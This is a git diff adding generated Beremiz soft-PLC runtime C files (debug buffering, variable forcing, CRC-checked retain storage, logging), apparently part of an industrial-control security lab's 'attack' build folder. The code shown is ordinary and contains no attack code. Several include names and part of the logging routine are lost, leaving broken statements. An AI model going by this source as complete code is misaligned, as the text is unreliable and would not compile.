InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < -1000000000) || ((dt.tv_sec > 0) && (dt.tv_nsec < 0))){ + dt.tv_sec--; + dt.tv_nsec += 1000000000; + } + if ((dt.tv_nsec > +1000000000) || ((dt.tv_sec < 0) && (dt.tv_nsec > 0))){ + dt.tv_sec++; + dt.tv_nsec -= 1000000000; + } + return dt.tv_sec + 1e-9*dt.tv_nsec; +} + + +int RetainSaveNeeded(void) +{ + int ret = 0; + static IEC_TIME last_save; + IEC_TIME now; + double diff_s; + + /* no retain */ + if (!retain_info.retain_size) + return 0; + + /* periodic retain flush to avoid high I/O load */ + PLC_GetTime(&now); + + diff_s = CalcDiffSeconds(&now, &last_save); + + if ((diff_s > FILE_RETAIN_SAVE_PERIOD_S) || ForceSaveRetainReq()) { + ret = 1; + last_save = now; + } + return ret; +} + +void ValidateRetainBuffer(void) +{ + if (!retain_buffer) + return; + + /* Add retain data CRC to the end of buffer file. */ + fseek(retain_buffer, 0, SEEK_END); + fwrite(&retain_crc, sizeof(uint32_t), 1, retain_buffer); + + /* Sync file buffer and close file. */ +#ifdef __WIN32 + fflush(retain_buffer); +#else + fsync(fileno(retain_buffer)); +#endif + + fclose(retain_buffer); + retain_buffer = NULL; +} + +void InValidateRetainBuffer(void) +{ + if (!RetainSaveNeeded()) + return; + + /* Rename old retain file into *.bak if it exists. */ + rename(rb_file, rb_file_bckp); + + /* Set file CRC initial value. */ + retain_crc = retain_info.header_crc; + + /* Create new retain file. */ + retain_buffer = fopen(rb_file, "wb+"); + if (!retain_buffer) { + fprintf(stderr, "Failed to create retain file : %s\n", rb_file); + return; + } + + /* Write header to the new file. */ + fwrite(&retain_info.retain_size, + sizeof(retain_info.retain_size), 1, retain_buffer); + fwrite(&retain_info.hash_size, + sizeof(retain_info.hash_size), 1, retain_buffer); + fwrite(retain_info.hash , + sizeof(char), retain_info.hash_size, retain_buffer); +} + +void Retain(unsigned int offset, unsigned int count, void *p) +{ + if (!retain_buffer) + return; + + /* Generate CRC 32 for each data block. */ + retain_crc = GenerateCRC32Sum(p, count, retain_crc); + + /* Save current var in file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fwrite(p, count, 1, retain_buffer); +} + +void Remind(unsigned int offset, unsigned int count, void *p) +{ + /* Remind variable from file. */ + fseek(retain_buffer, retain_info.header_offset+offset, SEEK_SET); + fread((void *)p, count, 1, retain_buffer); +} +#endif // !HAVE_RETAIN +/** + * Tail of code common to all C targets + **/ + +/** + * LOGGING + **/ +#ifndef TARGET_LOGGING_DISABLE + +#ifndef LOG_BUFFER_SIZE +#define LOG_BUFFER_SIZE (1<<14) /*16Ko*/ +#endif +#ifndef LOG_BUFFER_ATTRS +#define LOG_BUFFER_ATTRS +#endif + +#define LOG_BUFFER_MASK (LOG_BUFFER_SIZE-1) + +static char LogBuff[LOG_LEVELS][LOG_BUFFER_SIZE] LOG_BUFFER_ATTRS; +static void inline copy_to_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(&LogBuff[level][buffpos], buf, size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(&LogBuff[level][buffpos], buf, remaining); + memcpy(LogBuff[level], (char*)buf + remaining, size - remaining); + } +} +static void inline copy_from_log(uint8_t level, uint32_t buffpos, void* buf, uint32_t size){ + if(buffpos + size < LOG_BUFFER_SIZE){ + memcpy(buf, &LogBuff[level][buffpos], size); + }else{ + uint32_t remaining = LOG_BUFFER_SIZE - buffpos; + memcpy(buf, &LogBuff[level][buffpos], remaining); + memcpy((char*)buf + remaining, LogBuff[level], size - remaining); + } +} + +/* Log buffer structure + + |<-Tail1.msgsize->|<-sizeof(mTail)->|<--Tail2.msgsize-->|<-sizeof(mTail)->|... + | Message1 Body | Tail1 | Message2 Body | Tail2 | + +*/ +typedef struct { + uint32_t msgidx; + uint32_t msgsize; + unsigned long tick; + IEC_TIME time; +} mTail; + +/* Log cursor : 64b + |63 ... 32|31 ... 0| + | Message | Buffer | + | counter | Index | */ +static uint64_t LogCursor[LOG_LEVELS] LOG_BUFFER_ATTRS = {0x0,0x0,0x0,0x0}; + +void ResetLogCount(void) { + uint8_t level; + for(level=0;level> 32); + new_cursor = ((uint64_t)(tail.msgidx + 1)<<32) + | (uint64_t)((buffpos + size + sizeof(mTail)) & LOG_BUFFER_MASK); + }while(AtomicCompareExchange64( + (long long*)&LogCursor[level], + (long long)old_cursor, + (long long)new_cursor)!=(long long)old_cursor); + + copy_to_log(level, buffpos, buf, size); + copy_to_log(level, (buffpos + size) & LOG_BUFFER_MASK, &tail, sizeof(mTail)); + + return 1; /* Success */ + }else{ + char mstr[] = "Logging error : message too big"; + LogMessage(LOG_CRITICAL, mstr, sizeof(mstr)); + } + return 0; +} + +uint32_t GetLogCount(uint8_t level){ + return (uint64_t)LogCursor[level] >> 32; +} + +/* Return message size and content */ +uint32_t GetLogMessage(uint8_t level, uint32_t msgidx, char* buf, uint32_t max_size, uint32_t* tick, uint32_t* tv_sec, uint32_t* tv_nsec){ + uint64_t cursor = LogCursor[level]; + if(cursor){ + /* seach cursor */ + uint32_t stailpos = (uint32_t)cursor; + uint32_t smsgidx; + mTail tail; + tail.msgidx = cursor >> 32; + tail.msgsize = 0; + + /* Message search loop */ + do { + smsgidx = tail.msgidx; + stailpos = (stailpos - sizeof(mTail) - tail.msgsize ) & LOG_BUFFER_MASK; + copy_from_log(level, stailpos, &tail, sizeof(mTail)); + }while((tail.msgidx == smsgidx - 1) && (tail.msgidx > msgidx)); + + if(tail.msgidx == msgidx){ + uint32_t sbuffpos = (stailpos - tail.msgsize ) & LOG_BUFFER_MASK; + uint32_t totalsize = tail.msgsize; + *tick = tail.tick; + *tv_sec = tail.time.tv_sec; + *tv_nsec = tail.time.tv_nsec; + copy_from_log(level, sbuffpos, buf, + totalsize > max_size ? max_size : totalsize); + return totalsize; + } + } + return 0; +} + +#endif + +#ifndef TARGET_EXT_SYNC_DISABLE + +#define CALIBRATED -2 +#define NOT_CALIBRATED -1 +static int calibration_count = NOT_CALIBRATED; +static IEC_TIME cal_begin; +static long long Tsync = 0; +static long long FreqCorr = 0; +static int Nticks = 0; +static unsigned long last_tick = 0; + +/* + * Called on each external periodic sync event + * make PLC tick synchronous with external sync + * ratio defines when PLC tick occurs between two external sync + * @param sync_align_ratio + * 0->100 : align ratio + * < 0 : no align, calibrate period + **/ 